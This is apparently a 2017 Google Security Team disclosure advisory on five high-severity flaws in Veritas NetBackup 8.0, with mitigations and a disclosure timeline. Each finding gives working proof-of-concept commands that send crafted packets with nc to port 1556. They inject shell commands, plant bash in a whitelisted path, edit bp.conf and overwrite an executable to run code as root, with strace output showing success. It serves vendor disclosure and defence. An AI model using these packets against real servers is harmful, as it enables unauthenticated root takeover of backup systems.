Veritas Netbackup 8.0 - Multiple Vulnerabilities

-------------------------------------------------



Introduction

======== Veritas Netbackup 8.0 - Multiple Vulnerabilities

-------------------------------------------------



Introduction

============

Multiple vulnerabilities were identified in Veritas Netbackup (
https://www.veritas.com/product/backup-and-recovery/netbackup-8). The
vulnerabilities were discovered during a black box security assessment and
therefore the vulnerability list should not be considered exhaustive.



NetBackup 8.0 was assessed by Google Security as a followup to a previous
assessment of NetBackup 6.x and 7.x (see
http://seclists.org/fulldisclosure/2017/Feb/101). After assessing the
security of three generations of this software it unfortunately became
clear that the current architecture of NetBackup has several security flaws:



-

The proprietary protocol used between NB Clients and Servers provides no
authentication or encryption.
-

Parameters passed to executable commands are (partially) processed
unfiltered.
-

Even though a whitelisting for executable paths was added in recent
versions of NetBackup, those paths contain over 600 (!) executables - a
vulnerability in any of those could be leveraged to compromise a NetBackup
system.
-

All processes related to NetBackup run as root, which increases the risk
of compromise (this was already reported in a previous advisory)



We highly recommended to put additional layers of security around running
NetBackup installations, for example strong firewall policies that only
allow legitimate NetBackup systems to interact with each other over the
network.



Please see the Advisory Veritas released for more information:

https://www.veritas.com/content/support/en_US/security/VTS17-004.html



Veritas also provides patches for NetBackup 8.0 that should be applied
ASAP. Those can be found at the following URL:

https://www.veritas.com/support/en_US/article.000126389



Affected Software and Versions

==============================

- Veritas Netbackup 8.0



CVE

===

CVEs have been assigned but are not published yet. Please see this Veritas
advisory for the CVE IDs:
https://www.veritas.com/content/support/en_US/security/VTS17-004.html



Vulnerability Overview

======================



1. NB8-01: HIGH: Unauthenticated privileged remote command execution via
bprd

2. NB8-02: HIGH: Unauthenticated privileged remote command execution via
nbbsdtar

3. NB8-03: HIGH: Unauthenticated privileged remote file write

4. NB8-04: HIGH: Unauthenticated privileged remote command execution via
whitelist bypass

5. NB8-05: HIGH: Bypass of DNS based security model through pbx_exchange





Vulnerability Details

=====================



--------------------------------------------------------------------

NB8-01: Unauthenticated privileged remote command execution via bprd

--------------------------------------------------------------------

Severity: High



The bprd process allows remote privileged remote code execution by sending
a special packet leveraging the C_PFI_ROTATION (0x70) command. This command
is vulnerable to injecting arbitrary commands. This vulnerability bypasses
the directory whitelist implemented in NetBackup 7.x and allows privileged
execution of any command.



The following command executes a/usr/bin/id>/tmp/meh.txta on the Netbackup
server 10.128.0.5:



# echo -ne "ack=1 extension=bprd 329199 112 1 2 foo`id>/tmp/meh.txt`
bar baz 3 meh " | nc 10.128.0.5 1556



Log file excerpt:



15:27:36.467 [31611.31611] <2> get_string: 329199 112 1 2
foo`id>/tmp/meh.txt` bar baz 3 meh
15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic:
[vnet_vxss_helper.c:641] VxSS magic=329199, remote_vxss=11
2
15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic:
[vnet_vxss_helper.c:698] Ignoring VxSS authentication 2 0x
2
15:27:36.467 [31611.31611] <2> process_request: command C_PFI_ROTATION
(112) received
15:27:36.467 [31611.31611] <2> process_request: pfi_rotation request =
329199 112 1 2 foo`id>/tmp/meh.txt` bar baz 3 me
h

Strace excerpt:



[pid 31641] execve("/bin/sh", ["sh", "-c",
""/usr/openv/netbackup/bin/admincmd/bppficorr" -rotation -policy 2
-client 1 -fim "foo`id>/tmp/meh.txt`" 2>&1"], [/* 18 vars */]) = 0
Process 31642 attached
Process 31643 attached
[pid 31643] execve("/bin/id", ["id"], [/* 18 vars */]) = 0

# cat /tmp/meh.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

The validity of API parameters should be ensured by proper filtering of
passed parameters.



------------------------------------------------------------------------

NB8-02: Unauthenticated privileged remote command execution via nbbsdtar

------------------------------------------------------------------------

Severity: High



The binary nbbsdtar can be leveraged to copy any file to a whitelisted
directory. This then allows leveraging the C_REMOTE_EXECUTE (0x46) to
execute the copied file. This vulnerability bypasses the directory
whitelist implemented in NetBackup 7.x and allows privileged execution of
any command.



Packing /bin/bash into the tar file /tmp/foo.tar:



# echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337
/usr/openv/netbackup/bin/private/nbbsdtar foo -c -f /tmp/foo.tar
/bin/bash " | nc 10.128.0.5 1556



Strace output:



[pid 32461] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo",
"-c", "-f", "/tmp/foo.tar", "/bin/bash"], [/* 19 vars */]) = 0

Unpacking /tmp/foo.tar to the whitelisted directory
/usr/openv/netbackup/bin (a/bina can be omitted as /bin/bash was added to
the tar with full path):



# echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337
/usr/openv/netbackup/bin/private/nbbsdtar foo -x -f /tmp/foo.tar -C
/usr/openv/netbackup/ " | nc 10.128.0.5 1556

Strace output:



[pid 32486] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo",
"-x", "-f", "/tmp/foo.tar", "-C", "/usr/openv/netbackup/"], [/* 19 vars
*/]) = 0

# ls -l /usr/openv/netbackup/bin/bash
-rwxr-xr-x. 1 root root 960472 Dec 6 23:19 /usr/openv/netbackup/bin/bash

Execution of any command by running the now whitelisted bash interpreter:



# echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337
/usr/openv/netbackup/bin/bash foo -c id>/tmp/moo.txt " | nc 10.128.0.5 1556

Strace excerpt:



[pid 32549] execve("/usr/openv/netbackup/bin/bash", ["foo", "-c",
"id>/tmp/moo.txt"], [/* 19 vars */]) = 0
Process 32550 attached
[pid 32550] execve("/bin/id", ["id"], [/* 19 vars */]) = 0

# cat /tmp/moo.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Even with the added whitelist, the C_REMOTE_EXECUTE API still provides
access to over 600 (!) executable binaries. It is very likely that a number
of these binaries can be leveraged to bypass the current security
mechanisms and provide high risk attack vectors as shown in the example
above.



----------------------------------------------------

NB8-03: Unauthenticated privileged remote file write

----------------------------------------------------

Severity: High



The bprd process allows remote privileged write to files by sending a
special packet leveraging the C_REMOTE_WRITE (0x71) call. The attacker has
full control over file-name and content. The path is limited by a whitelist
check that was implemented in NetBackup 7.x. As the C_REMOTE_WRITE function
gives an attacker full control over content and filename and also allows
aappendinga to existing files, this issue is rated as HIGH.



Example:

# echo -ne "ack=1 extension=bprd 329199 71 localhost root 29
/usr/openv/netbackup/svbl.txt a 10 helloworld " | nc 10.128.0.5 1556



Strace excerpt:

[pid 1027] open("/usr/openv/netbackup/svbl.txt",
O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7
[...]

[pid 1027] write(7, "helloworld", 10) = 10

# cat /usr/openv/netbackup/svbl.txt
helloworld



# ls -l /usr/openv/netbackup/svbl.txt
-rw-r--r--. 1 root root 20 Feb 3 15:55 /usr/openv/netbackup/svbl.txt

Even though the allowed paths are checked against a whitelist, the API is
flexible enough to provide an attacker a useful entry point for further
attacks. An API that allows full control over filename and content should
not be exposed to the network without authentication.



--------------------------------------------------------------------------------

NB8-04: Unauthenticated privileged remote command execution via whitelist
bypass

--------------------------------------------------------------------------------

Severity: High



In NetBackup 7.x, a whitelist was added to provide a layer of security
against arbitrary command execution via APIs provided by NetBackup.
Functionality like the C_REMOTE_WRITE API are also checked against this
whitelist. The caveat here is that this whitelisting caused problems in
production use. To counter that, Veritas added a configuration option to
add custom paths to the whitelist, as documented here:
https://www.veritas.com/support/en_US/article.000100775



Leveraging the vulnerability described in NB8-03, it is possible to add any
path to the whitelist, enabling an attacker to (over)write any file in the
whitelisted paths. The following attack chain shows an example that grants
remote command execution.



Add a new whitelist entry to bp.conf:



# echo -ne "ack=1 extension=bprd 329199 71 localhost root 28
/usr/openv/netbackup/bp.conf a 48 BPCD_WHITELIST_PATH =
/usr/openv/netbackup/bin x0d " | nc 10.128.0.5 1556



Strace excerpt:



[pid 1550] open("/usr/openv/netbackup/bp.conf",
O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7
[...]

[pid 1550] write(7, "BPCD_WHITELIST_PATH = /usr/openv/netbackup/bin ",
48) = 48

Write to the now whitelisted /usr/openv/netbackup/bin path and overwrite a
executable file:



# echo -ne "ack=1 extension=bprd 329199 71 localhost root 33
/usr/openv/netbackup/bin/initbprd w 27 /usr/bin/id > /tmp/svbl.txt " | nc
10.128.0.5 1556



Strace excerpt:

[pid 1622] open("/usr/openv/netbackup/bin/initbprd",
O_WRONLY|O_CREAT|O_TRUNC|O_DSYNC, 0666) = 7
[...]

[pid 1622] write(7, "/usr/bin/id > /tmp/svbl.txt", 27) = 27

Execute the overwritten file:



# echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337
/usr/openv/netbackup/bin/initbprd foo " | nc 10.128.0.5 1556



Strace excerpt:



[pid 1687] execve("/bin/sh", ["/bin/sh",
"/usr/openv/netbackup/bin/initbprd"], [/* 19 vars */]) = 0
Process 1688 attached
[pid 1688] open("/tmp/svbl.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
[pid 1688] execve("/usr/bin/id", ["/usr/bin/id"], [/* 19 vars */]) = 0

# cat /tmp/svbl.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

A possible mitigation for this issue might be to either completely remove
the C_REMOTE_WRITE API or at least limit it to a very small number of
directories that have no overlap with the C_REMOTE_EXECUTE whitelist and do
not contain any sensitive files like the bp.conf.



---------------------------------------------------------------

NB8-05: Bypass of DNS based security model through pbx_exchange

---------------------------------------------------------------

Severity: High



For several API functions and service calls (e.g. bprd), NetBackup checks
the source IP of the request and matches it against a list of allowed
Clients. In most cases a request is only allowed from

-

localhost
-

NetBackup Server known to the local system
-

NetBackup Client known to the local system



It was discovered that the service pbx_exchange, listening on tcp/1556 can
be used to bypass this security check.

Example:



# echo -ne "ack=1 extension=bprd fooa | nc 10.128.0.5 1556



The above command sends the data afooa to the bprd service. The target
service is specified by the aextensiona parameter, everything after two new
lines is forwarded to the extension service.

The previously described vulnerabilities in this report make use of this
behaviour.



As this functionality allows bypassing the source host based security model
it is recommended to change the behaviour of pbx_exchange to forward the
original source IP to the target service and modify the security checks to
validate against that original source IP.



Author

======

The vulnerabilities were discovered by Sven Blumenstein and Xiaoran Wang
from Google Security Team.



Timeline

========

2017/02/06 - Security report sent to secure@veritas.com with 90 day
disclosure deadline.

2017/03/21 - Questions from Veritas on some issues were answered.

2017/04/20 - Veritas announced an Advisory for customers will be published
on 2017/05/07 on veritas.com

2017/05/07 - Advisory published by Veritas:
https://www.veritas.com/content/support/en_US/security/VTS17-004.html

2017/05/08 - Public disclosure of this security report.